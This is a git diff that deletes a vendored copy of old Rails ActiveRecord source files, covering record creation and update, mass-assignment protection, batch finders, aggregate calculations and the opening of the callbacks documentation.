-      # Marks this record as read only.
-      def readonly!
-        @readonly = true
-      end
-
-      # Returns the contents of the record as a nicely formatted string.
-      def inspect
-        attributes_as_nice_string = self.class.column_names.collect { |name|
-          if has_attribute?(name) || new_record?
-            "#{name}: #{attribute_for_inspect(name)}"
-          end
-        }.compact.join(", ")
-        "#<#{self.class} #{attributes_as_nice_string}>"
-      end
-
-    private
-      # Assigns attributes, dealing nicely with both multi and single paramater attributes
-      # Assumes attributes is a hash
-
-      def assign_attributes(attributes={})
-        multiparameter_attributes = []
-        
-        attributes.each do |k, v|
-          if k.to_s.include?("(")
-            multiparameter_attributes << [ k, v ]
-          else
-            respond_to?(:"#{k}=") ? send(:"#{k}=", v) : raise(UnknownAttributeError, "unknown attribute: #{k}")
-          end
-        end
-
-        assign_multiparameter_attributes(multiparameter_attributes) unless  multiparameter_attributes.empty?        
-      end
-    
-      def create_or_update
-        raise ReadOnlyRecord if readonly?
-        result = new_record? ? create : update
-        result != false
-      end
-
-      # Updates the associated record with values matching those of the instance attributes.
-      # Returns the number of affected rows.
-      def update(attribute_names = @attributes.keys)
-        quoted_attributes = attributes_with_quotes(false, false, attribute_names)
-        return 0 if quoted_attributes.empty?
-        connection.update(
-          "UPDATE #{self.class.quoted_table_name} " +
-          "SET #{quoted_comma_pair_list(connection, quoted_attributes)} " +
-          "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quote_value(id)}",
-          "#{self.class.name} Update"
-        )
-      end
-
-      # Creates a record with values matching those of the instance attributes
-      # and returns its id.
-      def create
-        if self.id.nil? && connection.prefetch_primary_key?(self.class.table_name)
-          self.id = connection.next_sequence_value(self.class.sequence_name)
-        end
-
-        quoted_attributes = attributes_with_quotes
-
-        statement = if quoted_attributes.empty?
-          connection.empty_insert_statement(self.class.table_name)
-        else
-          "INSERT INTO #{self.class.quoted_table_name} " +
-          "(#{quoted_column_names.join(', ')}) " +
-          "VALUES(#{quoted_attributes.values.join(', ')})"
-        end
-
-        self.id = connection.insert(statement, "#{self.class.name} Create",
-          self.class.primary_key, self.id, self.class.sequence_name)
-
-        @new_record = false
-        id
-      end
-
-      # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendant.
-      # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to do Reply.new without having to
-      # set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself. No such attribute would be set for objects of the
-      # Message class in that example.
-      def ensure_proper_type
-        unless self.class.descends_from_active_record?
-          write_attribute(self.class.inheritance_column, self.class.sti_name)
-        end
-      end
-
-      def convert_number_column_value(value)
-        if value == false
-          0
-        elsif value == true
-          1
-        elsif value.is_a?(String) && value.blank?
-          nil
-        else
-          value
-        end
-      end
-
-      def remove_attributes_protected_from_mass_assignment(attributes)
-        safe_attributes =
-          if self.class.accessible_attributes.nil? && self.class.protected_attributes.nil?
-            attributes.reject { |key, value| attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
-          elsif self.class.protected_attributes.nil?
-            attributes.reject { |key, value| !self.class.accessible_attributes.include?(key.gsub(/\(.+/, "")) || attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
-          elsif self.class.accessible_attributes.nil?
-            attributes.reject { |key, value| self.class.protected_attributes.include?(key.gsub(/\(.+/,"")) || attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
-          else
-            raise "Declare either attr_protected or attr_accessible for #{self.class}, but not both."
-          end
-
-        removed_attributes = attributes.keys - safe_attributes.keys
-
-        if removed_attributes.any?
-          log_protected_attribute_removal(removed_attributes)
-        end
-
-        safe_attributes
-      end
-
-      # Removes attributes which have been marked as readonly.
-      def remove_readonly_attributes(attributes)
-        unless self.class.readonly_attributes.nil?
-          attributes.delete_if { |key, value| self.class.readonly_attributes.include?(key.gsub(/\(.+/,"")) }
-        else
-          attributes
-        end
-      end
-
-      def log_protected_attribute_removal(*attributes)
-        logger.debug "WARNING: Can't mass-assign these protected attributes: #{attributes.join(', ')}"
-      end
-
-      # The primary key and inheritance column can never be set by mass-assignment for security reasons.
-      def attributes_protected_by_default
-        default = [ self.class.primary_key, self.class.inheritance_column ]
-        default << 'id' unless self.class.primary_key.eql? 'id'
-        default
-      end
-
-      # Returns a copy of the attributes hash where all the values have been safely quoted for use in
-      # an SQL statement.
-      def attributes_with_quotes(include_primary_key = true, include_readonly_attributes = true, attribute_names = @attributes.keys)
-        quoted = {}
-        connection = self.class.connection
-        attribute_names.each do |name|
-          if (column = column_for_attribute(name)) && (include_primary_key || !column.primary)
-            value = read_attribute(name)
-
-            # We need explicit to_yaml because quote() does not properly convert Time/Date fields to YAML.
-            if value && self.class.serialized_attributes.has_key?(name) && (value.acts_like?(:date) || value.acts_like?(:time))
-              value = value.to_yaml
-            end
-
-            quoted[name] = connection.quote(value, column)
-          end
-        end
-        include_readonly_attributes ? quoted : remove_readonly_attributes(quoted)
-      end
-
-      # Quote strings appropriately for SQL statements.
-      def quote_value(value, column = nil)
-        self.class.connection.quote(value, column)
-      end
-
-      # Interpolate custom SQL string in instance context.
-      # Optional record argument is meant for custom insert_sql.
-      def interpolate_sql(sql, record = nil)
-        instance_eval("%@#{sql.gsub('@', '\@')}@")
-      end
-
-      # Initializes the attributes array with keys matching the columns from the linked table and
-      # the values matching the corresponding default value of that column, so
-      # that a new instance, or one populated from a passed-in Hash, still has all the attributes
-      # that instances loaded from the database would.
-      def attributes_from_column_definition
-        self.class.columns.inject({}) do |attributes, column|
-          attributes[column.name] = column.default unless column.name == self.class.primary_key
-          attributes
-        end
-      end
-
-      # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
-      # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
-      # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
-      # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
-      # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
-      # s for String, and a for Array. If all the values for a given attribute are empty, the attribute will be set to nil.
-      def assign_multiparameter_attributes(pairs)
-        execute_callstack_for_multiparameter_attributes(
-          extract_callstack_for_multiparameter_attributes(pairs)
-        )
-      end
-
-      def instantiate_time_object(name, values)
-        if self.class.send(:create_time_zone_conversion_attribute?, name, column_for_attribute(name))
-          Time.zone.local(*values)
-        else
-          Time.time_with_datetime_fallback(@@default_timezone, *values)
-        end
-      end
-
-      def execute_callstack_for_multiparameter_attributes(callstack)
-        errors = []
-        callstack.each do |name, values_with_empty_parameters|
-          begin
-            klass = (self.class.reflect_on_aggregation(name.to_sym) || column_for_attribute(name)).klass
-            # in order to allow a date to be set without a year, we must keep the empty values.
-            # Otherwise, we wouldn't be able to distinguish it from a date with an empty day.
-            values = values_with_empty_parameters.reject(&:nil?)
-
-            if values.empty?
-              send(name + "=", nil)
-            else
-
-              value = if Time == klass
-                instantiate_time_object(name, values)
-              elsif Date == klass
-                begin
-                  values = values_with_empty_parameters.collect do |v| v.nil? ? 1 : v end
-                  Date.new(*values)
-                rescue ArgumentError => ex # if Date.new raises an exception on an invalid date
-                  instantiate_time_object(name, values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
-                end
-              else
-                klass.new(*values)
-              end
-
-              send(name + "=", value)
-            end
-          rescue => ex
-            errors << AttributeAssignmentError.new("error on assignment #{values.inspect} to #{name}", ex, name)
-          end
-        end
-        unless errors.empty?
-          raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes"
-        end
-      end
-
-      def extract_callstack_for_multiparameter_attributes(pairs)
-        attributes = { }
-
-        for pair in pairs
-          multiparameter_name, value = pair
-          attribute_name = multiparameter_name.split("(").first
-          attributes[attribute_name] = [] unless attributes.include?(attribute_name)
-
-          parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
-          attributes[attribute_name] << [ find_parameter_position(multiparameter_name), parameter_value ]
-        end
-
-        attributes.each { |name, values| attributes[name] = values.sort_by{ |v| v.first }.collect { |v| v.last } }
-      end
-
-      def type_cast_attribute_value(multiparameter_name, value)
-        multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
-      end
-
-      def find_parameter_position(multiparameter_name)
-        multiparameter_name.scan(/\(([0-9]*).*\)/).first.first
-      end
-
-      # Returns a comma-separated pair list, like "key1 = val1, key2 = val2".
-      def comma_pair_list(hash)
-        hash.map { |k,v| "#{k} = #{v}" }.join(", ")
-      end
-
-      def quoted_column_names(attributes = attributes_with_quotes)
-        connection = self.class.connection
-        attributes.keys.collect do |column_name|
-          connection.quote_column_name(column_name)
-        end
-      end
-
-      def self.quoted_table_name
-        self.connection.quote_table_name(self.table_name)
-      end
-
-      def quote_columns(quoter, hash)
-        hash.inject({}) do |quoted, (name, value)|
-          quoted[quoter.quote_column_name(name)] = value
-          quoted
-        end
-      end
-
-      def quoted_comma_pair_list(quoter, hash)
-        comma_pair_list(quote_columns(quoter, hash))
-      end
-
-      def object_from_yaml(string)
-        return string unless string.is_a?(String) && string =~ /^---/
-        YAML::load(string) rescue string
-      end
-
-      def clone_attributes(reader_method = :read_attribute, attributes = {})
-        self.attribute_names.inject(attributes) do |attrs, name|
-          attrs[name] = clone_attribute_value(reader_method, name)
-          attrs
-        end
-      end
-
-      def clone_attribute_value(reader_method, attribute_name)
-        value = send(reader_method, attribute_name)
-        value.duplicable? ? value.clone : value
-      rescue TypeError, NoMethodError
-        value
-      end
-  end
-
-  Base.class_eval do
-    extend QueryCache::ClassMethods
-    include Validations
-    include Locking::Optimistic, Locking::Pessimistic
-    include AttributeMethods
-    include Dirty
-    include Callbacks, Observing, Timestamp
-    include Associations, AssociationPreload, NamedScope
-
-    # AutosaveAssociation needs to be included before Transactions, because we want
-    # #save_with_autosave_associations to be wrapped inside a transaction.
-    include AutosaveAssociation, NestedAttributes
-
-    include Aggregations, Transactions, Reflection, Batches, Calculations, Serialization
-  end
-end
-
-# TODO: Remove this and make it work with LAZY flag
-require 'active_record/connection_adapters/abstract_adapter'
diff --git a/vendor/rails/activerecord/lib/active_record/batches.rb b/vendor/rails/activerecord/lib/active_record/batches.rb
deleted file mode 100644
index acbbd98c..00000000
--- a/vendor/rails/activerecord/lib/active_record/batches.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-module ActiveRecord
-  module Batches # :nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    # When processing large numbers of records, it's often a good idea to do
-    # so in batches to prevent memory ballooning.
-    module ClassMethods
-      # Yields each record that was found by the find +options+. The find is
-      # performed by find_in_batches with a batch size of 1000 (or as
-      # specified by the <tt>:batch_size</tt> option).
-      #
-      # Example:
-      #
-      #   Person.find_each(:conditions => "age > 21") do |person|
-      #     person.party_all_night!
-      #   end
-      #
-      # Note: This method is only intended to use for batch processing of
-      # large amounts of records that wouldn't fit in memory all at once. If
-      # you just need to loop over less than 1000 records, it's probably
-      # better just to use the regular find methods.
-      def find_each(options = {})
-        find_in_batches(options) do |records|
-          records.each { |record| yield record }
-        end
-
-        self
-      end
-
-      # Yields each batch of records that was found by the find +options+ as
-      # an array. The size of each batch is set by the <tt>:batch_size</tt>
-      # option; the default is 1000.
-      #
-      # You can control the starting point for the batch processing by
-      # supplying the <tt>:start</tt> option. This is especially useful if you
-      # want multiple workers dealing with the same processing queue. You can
-      # make worker 1 handle all the records between id 0 and 10,000 and
-      # worker 2 handle from 10,000 and beyond (by setting the <tt>:start</tt>
-      # option on that worker).
-      #
-      # It's not possible to set the order. That is automatically set to
-      # ascending on the primary key ("id ASC") to make the batch ordering
-      # work. This also mean that this method only works with integer-based
-      # primary keys. You can't set the limit either, that's used to control
-      # the the batch sizes.
-      #
-      # Example:
-      #
-      #   Person.find_in_batches(:conditions => "age > 21") do |group|
-      #     sleep(50) # Make sure it doesn't get too crowded in there!
-      #     group.each { |person| person.party_all_night! }
-      #   end
-      def find_in_batches(options = {})
-        raise "You can't specify an order, it's forced to be #{batch_order}" if options[:order]
-        raise "You can't specify a limit, it's forced to be the batch_size"  if options[:limit]
-
-        start = options.delete(:start).to_i
-        batch_size = options.delete(:batch_size) || 1000
-
-        proxy = scoped(options.merge(:order => batch_order, :limit => batch_size))
-        records = proxy.find(:all, :conditions => [ "#{table_name}.#{primary_key} >= ?", start ])
-
-        while records.any?
-          yield records
-
-          break if records.size < batch_size
-          
-          last_value = records.last.id
-          
-          raise "You must include the primary key if you define a select" unless last_value.present?
-          
-          records = proxy.find(:all, :conditions => [ "#{table_name}.#{primary_key} > ?", last_value ])
-        end
-      end
-
-
-      private
-        def batch_order
-          "#{table_name}.#{primary_key} ASC"
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/lib/active_record/calculations.rb b/vendor/rails/activerecord/lib/active_record/calculations.rb
deleted file mode 100644
index f6249e52..00000000
--- a/vendor/rails/activerecord/lib/active_record/calculations.rb
+++ /dev/null
@@ -1,321 +0,0 @@
-module ActiveRecord
-  module Calculations #:nodoc:
-    CALCULATIONS_OPTIONS = [:conditions, :joins, :order, :select, :group, :having, :distinct, :limit, :offset, :include, :from]
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    module ClassMethods
-      # Count operates using three different approaches.
-      #
-      # * Count all: By not passing any parameters to count, it will return a count of all the rows for the model.
-      # * Count using column: By passing a column name to count, it will return a count of all the rows for the model with supplied column present
-      # * Count using options will find the row count matched by the options used.
-      #
-      # The third approach, count using options, accepts an option hash as the only parameter. The options are:
-      #
-      # * <tt>:conditions</tt>: An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro to ActiveRecord::Base.
-      # * <tt>:joins</tt>: Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed)
-      #   or named associations in the same form used for the <tt>:include</tt> option, which will perform an INNER JOIN on the associated table(s).
-      #   If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
-      #   Pass <tt>:readonly => false</tt> to override.
-      # * <tt>:include</tt>: Named associations that should be loaded alongside using LEFT OUTER JOINs. The symbols named refer
-      #   to already defined associations. When using named associations, count returns the number of DISTINCT items for the model you're counting.
-      #   See eager loading under Associations.
-      # * <tt>:order</tt>: An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
-      # * <tt>:group</tt>: An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
-      # * <tt>:select</tt>: By default, this is * as in SELECT * FROM, but can be changed if you, for example, want to do a join but not
-      #   include the joined columns.
-      # * <tt>:distinct</tt>: Set this to true to make this a distinct calculation, such as SELECT COUNT(DISTINCT posts.id) ...
-      # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed to an alternate table name (or even the name
-      #   of a database view).
-      #
-      # Examples for counting all:
-      #   Person.count         # returns the total count of all people
-      #
-      # Examples for counting by column:
-      #   Person.count(:age)  # returns the total count of all people whose age is present in database
-      #
-      # Examples for count with options:
-      #   Person.count(:conditions => "age > 26")
-      #   Person.count(:conditions => "age > 26 AND job.salary > 60000", :include => :job) # because of the named association, it finds the DISTINCT count using LEFT OUTER JOIN.
-      #   Person.count(:conditions => "age > 26 AND job.salary > 60000", :joins => "LEFT JOIN jobs on jobs.person_id = person.id") # finds the number of rows matching the conditions and joins.
-      #   Person.count('id', :conditions => "age > 26") # Performs a COUNT(id)
-      #   Person.count(:all, :conditions => "age > 26") # Performs a COUNT(*) (:all is an alias for '*')
-      #
-      # Note: <tt>Person.count(:all)</tt> will not work because it will use <tt>:all</tt> as the condition.  Use Person.count instead.
-      def count(*args)
-        calculate(:count, *construct_count_options_from_args(*args))
-      end
-
-      # Calculates the average value on a given column. The value is returned as
-      # a float, or +nil+ if there's no row. See +calculate+ for examples with
-      # options.
-      #
-      #   Person.average('age') # => 35.8
-      def average(column_name, options = {})
-        calculate(:avg, column_name, options)
-      end
-
-      # Calculates the minimum value on a given column.  The value is returned
-      # with the same data type of the column, or +nil+ if there's no row. See
-      # +calculate+ for examples with options.
-      #
-      #   Person.minimum('age') # => 7
-      def minimum(column_name, options = {})
-        calculate(:min, column_name, options)
-      end
-
-      # Calculates the maximum value on a given column. The value is returned
-      # with the same data type of the column, or +nil+ if there's no row. See
-      # +calculate+ for examples with options.
-      #
-      #   Person.maximum('age') # => 93
-      def maximum(column_name, options = {})
-        calculate(:max, column_name, options)
-      end
-
-      # Calculates the sum of values on a given column. The value is returned
-      # with the same data type of the column, 0 if there's no row. See
-      # +calculate+ for examples with options.
-      #
-      #   Person.sum('age') # => 4562
-      def sum(column_name, options = {})
-        calculate(:sum, column_name, options)
-      end
-
-      # This calculates aggregate values in the given column.  Methods for count, sum, average, minimum, and maximum have been added as shortcuts.
-      # Options such as <tt>:conditions</tt>, <tt>:order</tt>, <tt>:group</tt>, <tt>:having</tt>, and <tt>:joins</tt> can be passed to customize the query.
-      #
-      # There are two basic forms of output:
-      #   * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float for AVG, and the given column's type for everything else.
-      #   * Grouped values: This returns an ordered hash of the values and groups them by the <tt>:group</tt> option.  It takes either a column name, or the name
-      #     of a belongs_to association.
-      #
-      #       values = Person.maximum(:age, :group => 'last_name')
-      #       puts values["Drake"]
-      #       => 43
-      #
-      #       drake  = Family.find_by_last_name('Drake')
-      #       values = Person.maximum(:age, :group => :family) # Person belongs_to :family
-      #       puts values[drake]
-      #       => 43
-      #
-      #       values.each do |family, max_age|
-      #       ...
-      #       end
-      #
-      # Options:
-      # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro to ActiveRecord::Base.
-      # * <tt>:include</tt>: Eager loading, see Associations for details.  Since calculations don't load anything, the purpose of this is to access fields on joined tables in your conditions, order, or group clauses.
-      # * <tt>:joins</tt> - An SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id". (Rarely needed).
-      #   The records will be returned read-only since they will have attributes that do not correspond to the table's columns.
-      # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
-      # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
-      # * <tt>:select</tt> - By default, this is * as in SELECT * FROM, but can be changed if you for example want to do a join, but not
-      #   include the joined columns.
-      # * <tt>:distinct</tt> - Set this to true to make this a distinct calculation, such as SELECT COUNT(DISTINCT posts.id) ...
-      #
-      # Examples:
-      #   Person.calculate(:count, :all) # The same as Person.count
-      #   Person.average(:age) # SELECT AVG(age) FROM people...
-      #   Person.minimum(:age, :conditions => ['last_name != ?', 'Drake']) # Selects the minimum age for everyone with a last name other than 'Drake'
-      #   Person.minimum(:age, :having => 'min(age) > 17', :group => :last_name) # Selects the minimum age for any family without any minors
-      #   Person.sum("2 * age")
-      def calculate(operation, column_name, options = {})
-        validate_calculation_options(operation, options)
-        column_name     = options[:select] if options[:select]
-        column_name     = '*' if column_name == :all
-        column          = column_for column_name
-        catch :invalid_query do
-          if options[:group]
-            return execute_grouped_calculation(operation, column_name, column, options)
-          else
-            return execute_simple_calculation(operation, column_name, column, options)
-          end
-        end
-        0
-      end
-
-      protected
-        def construct_count_options_from_args(*args)
-          options     = {}
-          column_name = :all
-          
-          # We need to handle
-          #   count()
-          #   count(:column_name=:all)
-          #   count(options={})
-          #   count(column_name=:all, options={})
-          case args.size
-          when 1
-            args[0].is_a?(Hash) ? options = args[0] : column_name = args[0]
-          when 2
-            column_name, options = args
-          else
-            raise ArgumentError, "Unexpected parameters passed to count(): #{args.inspect}"
-          end if args.size > 0
-          
-          [column_name, options]
-        end
-
-        def construct_calculation_sql(operation, column_name, options) #:nodoc:
-          operation = operation.to_s.downcase
-          options = options.symbolize_keys
-
-          scope           = scope(:find)
-          merged_includes = merge_includes(scope ? scope[:include] : [], options[:include])
-          aggregate_alias = column_alias_for(operation, column_name)
-          column_name     = "#{connection.quote_table_name(table_name)}.#{column_name}" if column_names.include?(column_name.to_s)
-
-          if operation == 'count'
-            if merged_includes.any?
-              options[:distinct] = true
-              column_name = options[:select] || [connection.quote_table_name(table_name), primary_key] * '.'
-            end
-
-            if options[:distinct]
-              use_workaround = !connection.supports_count_distinct?
-            end
-          end
-
-          if options[:distinct] && column_name.to_s !~ /\s*DISTINCT\s+/i
-            distinct = 'DISTINCT ' 
-          end
-          sql = "SELECT #{operation}(#{distinct}#{column_name}) AS #{aggregate_alias}"
-
-          # A (slower) workaround if we're using a backend, like sqlite, that doesn't support COUNT DISTINCT.
-          sql = "SELECT COUNT(*) AS #{aggregate_alias}" if use_workaround
-
-          options[:group_fields].each_index{|i| sql << ", #{options[:group_fields][i]} AS #{options[:group_aliases][i]}" } if options[:group]
-          if options[:from]
-            sql << " FROM #{options[:from]} "
-          elsif scope && scope[:from] && !use_workaround
-            sql << " FROM #{scope[:from]} "
-          else
-            sql << " FROM (SELECT #{distinct}#{column_name}" if use_workaround
-            sql << " FROM #{connection.quote_table_name(table_name)} "
-          end
-
-          joins = ""
-          add_joins!(joins, options[:joins], scope)
-
-          if merged_includes.any?
-            join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(self, merged_includes, joins)
-            sql << join_dependency.join_associations.collect{|join| join.association_join }.join
-          end
-
-          sql << joins unless joins.blank?
-
-          add_conditions!(sql, options[:conditions], scope)
-          add_limited_ids_condition!(sql, options, join_dependency) if join_dependency && !using_limitable_reflections?(join_dependency.reflections) && ((scope && scope[:limit]) || options[:limit])
-
-          if options[:group]
-            group_key = connection.adapter_name == 'FrontBase' ?  :group_aliases : :group_fields
-            sql << " GROUP BY #{options[group_key].join(',')} "
-          end
-
-          if options[:group] && options[:having]
-            having = sanitize_sql_for_conditions(options[:having])
-
-            # FrontBase requires identifiers in the HAVING clause and chokes on function calls
-            if connection.adapter_name == 'FrontBase'
-              having.downcase!
-              having.gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
-            end
-
-            sql << " HAVING #{having} "
-          end
-
-          sql << " ORDER BY #{options[:order]} "       if options[:order]
-          add_limit!(sql, options, scope)
-          sql << ") #{aggregate_alias}_subquery" if use_workaround
-          sql
-        end
-
-        def execute_simple_calculation(operation, column_name, column, options) #:nodoc:
-          value = connection.select_value(construct_calculation_sql(operation, column_name, options))
-          type_cast_calculated_value(value, column, operation)
-        end
-
-        def execute_grouped_calculation(operation, column_name, column, options) #:nodoc:
-          group_attr    = options[:group]
-          association   = reflect_on_association(group_attr.to_s.to_sym)
-          associated    = association && association.macro == :belongs_to # only count belongs_to associations
-          group_fields  = Array(associated ? association.primary_key_name : group_attr)
-          group_aliases = []
-          group_columns = {}
-          
-          group_fields.each do |field|
-            group_aliases << column_alias_for(field)
-            group_columns[column_alias_for(field)] = column_for(field)
-          end
-
-          sql             = construct_calculation_sql(operation, column_name, options.merge(:group_fields => group_fields, :group_aliases => group_aliases))
-          calculated_data = connection.select_all(sql)
-          aggregate_alias = column_alias_for(operation, column_name)
-
-          if association
-            key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
-            key_records = association.klass.base_class.find(key_ids)
-            key_records = key_records.inject({}) { |hsh, r| hsh.merge(r.id => r) }
-          end
-
-          calculated_data.inject(ActiveSupport::OrderedHash.new) do |all, row|
-            key   = group_aliases.map{|group_alias| type_cast_calculated_value(row[group_alias], group_columns[group_alias])}
-            key   = key.first if key.size == 1
-            key   = key_records[key] if associated
-            value = row[aggregate_alias]
-            all[key] = type_cast_calculated_value(value, column, operation)
-            all
-          end
-        end
-
-      private
-        def validate_calculation_options(operation, options = {})
-          options.assert_valid_keys(CALCULATIONS_OPTIONS)
-        end
-
-        # Converts the given keys to the value that the database adapter returns as
-        # a usable column name:
-        #
-        #   column_alias_for("users.id")                 # => "users_id"
-        #   column_alias_for("sum(id)")                  # => "sum_id"
-        #   column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
-        #   column_alias_for("count(*)")                 # => "count_all"
-        #   column_alias_for("count", "id")              # => "count_id"
-        def column_alias_for(*keys)
-          table_name = keys.join(' ')
-          table_name.downcase!
-          table_name.gsub!(/\*/, 'all')
-          table_name.gsub!(/\W+/, ' ')
-          table_name.strip!
-          table_name.gsub!(/ +/, '_')
-
-          connection.table_alias_for(table_name)
-        end
-
-        def column_for(field)
-          field_name = field.to_s.split('.').last
-          columns.detect { |c| c.name.to_s == field_name }
-        end
-
-        def type_cast_calculated_value(value, column, operation = nil)
-          if value.is_a?(String) || value.nil?
-            case operation.to_s.downcase
-            when 'count' then value.to_i
-            when 'sum'   then type_cast_using_column(value || '0', column)
-            when 'avg' then value.try(:to_d)
-            else type_cast_using_column(value, column)
-            end
-          else
-            value
-          end
-        end
-
-        def type_cast_using_column(value, column)
-          column ? column.type_cast(value) : value
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/callbacks.rb b/vendor/rails/activerecord/lib/active_record/callbacks.rb
deleted file mode 100644
index e375037b..00000000
--- a/vendor/rails/activerecord/lib/active_record/callbacks.rb
+++ /dev/null
@@ -1,360 +0,0 @@
-require 'observer'
-
-module ActiveRecord
-  # Callbacks are hooks into the lifecycle of an Active Record object that allow you to trigger logic
-  # before or after an alteration of the object state. This can be used to make sure that associated and
-  # dependent objects are deleted when +destroy+ is called (by overwriting +before_destroy+) or to massage attributes
-  # before they're validated (by overwriting +before_validation+). As an example of the callbacks initiated, consider
-  # the <tt>Base#save</tt> call for a new record:
-  #
-  # * (-) <tt>save</tt>
-  # * (-) <tt>valid</tt>
-  # * (1) <tt>before_validation</tt>
-  # * (2) <tt>before_validation_on_create</tt>
-  # * (-) <tt>validate</tt>
-  # * (-) <tt>validate_on_create</tt>
-  # * (3) <tt>after_validation</tt>
-  # * (4) <tt>after_validation_on_create</tt>
-  # * (5) <tt>before_save</tt>
-  # * (6) <tt>before_create</tt>
-  # * (-) <tt>create</tt>
-  # * (7) <tt>after_create</tt>
-  # * (8) <tt>after_save</tt>
-  #
-  # That's a total of eight callbacks, which gives you immense power to react and prepare for each state in the
-  # Active Record lifecycle. The sequence for calling <tt>Base#save</tt> an existing record is similar, except that each 
-  # <tt>_on_create</tt> callback is replaced by the corresponding <tt>_on_update</tt> callback.
-  #
-  # Examples:
-  #   class CreditCard < ActiveRecord::Base
-  #     # Strip everything but digits, so the user can specify "555 234 34" or
-  #     # "5552-3434" or both will mean "55523434"
-  #     def before_validation_on_create
-  #       self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
-  #     end
-  #   end
-  #
-  #   class Subscription < ActiveRecord::Base
-  #     before_create :record_signup
-  #
-  #     private
-  #       def record_signup
-  #         self.signed_up_on = Date.today
-  #       end
-  #   end
-  #
-  #   class Firm < ActiveRecord::Base
-  #     # Destroys the associated clients and people when the firm is destroyed
-  #     before_destroy { |record| Person.destroy_all "firm_id = #{record.id}"   }
-  #     before_destroy { |record| Client.destroy_all "client_of = #{record.id}" }
-  #   end
-  #
-  # == Inheritable callback queues
-  #
-  # Besides the overwritable callback methods, it's also possible to register callbacks through the use of the callback macros.
-  # Their main advantage is that the macros add behavior into a callback queue that is kept intact down through an inheritance
-  # hierarchy. Example:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     before_destroy :destroy_author
-  #   end
-  #
-  #   class Reply < Topic
-  #     before_destroy :destroy_readers
-  #   end
-  #
-  # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is run, both +destroy_author+ and
-  # +destroy_readers+ are called. Contrast this to the situation where we've implemented the save behavior through overwriteable
-  # methods:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     def before_destroy() destroy_author end
-  #   end
-  #
-  #   class Reply < Topic
-  #     def before_destroy() destroy_readers end
-  #   end
-  #
-  # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+. So, use the callback macros when
-  # you want to ensure that a certain callback is called for the entire hierarchy, and use the regular overwriteable methods
-  # when you want to leave it up to each descendant to decide whether they want to call +super+ and trigger the inherited callbacks.
-  #
-  # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the callbacks before specifying the
-  # associations. Otherwise, you might trigger the loading of a child before the parent has registered the callbacks and they won't
-  # be inherited.
-  #
-  # == Types of callbacks
-  #
-  # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
-  # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects are the
-  # recommended approaches, inline methods using a proc are sometimes appropriate (such as for creating mix-ins), and inline
-  # eval methods are deprecated.
-  #
-  # The method reference callbacks work by specifying a protected or private method available in the object, like this:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     before_destroy :delete_parents
-  #
-  #     private
-  #       def delete_parents
-  #         self.class.delete_all "parent_id = #{id}"
-  #       end
-  #   end
-  #
-  # The callback objects have methods named after the callback called with the record as the only parameter, such as:
-  #
-  #   class BankAccount < ActiveRecord::Base
-  #     before_save      EncryptionWrapper.new
-  #     after_save       EncryptionWrapper.new
-  #     after_initialize EncryptionWrapper.new
-  #   end
-  #
-  #   class EncryptionWrapper
-  #     def before_save(record)
-  #       record.credit_card_number = encrypt(record.credit_card_number)
-  #     end
-  #
-  #     def after_save(record)
-  #       record.credit_card_number = decrypt(record.credit_card_number)
-  #     end
-  #
-  #     alias_method :after_find, :after_save
-  #
-  #     private
-  #       def encrypt(value)
-  #         # Secrecy is committed
-  #       end
-  #
-  #       def decrypt(value)
-  #         # Secrecy is unveiled
-  #       end
-  #   end
-  #
-  # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
-  # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
-  # initialization data such as the name of the attribute to work with:
-  #
-  #   class BankAccount < ActiveRecord::Base
-  #     before_save      EncryptionWrapper.new("credit_card_number")
-  #     after_save       EncryptionWrapper.new("credit_card_number")
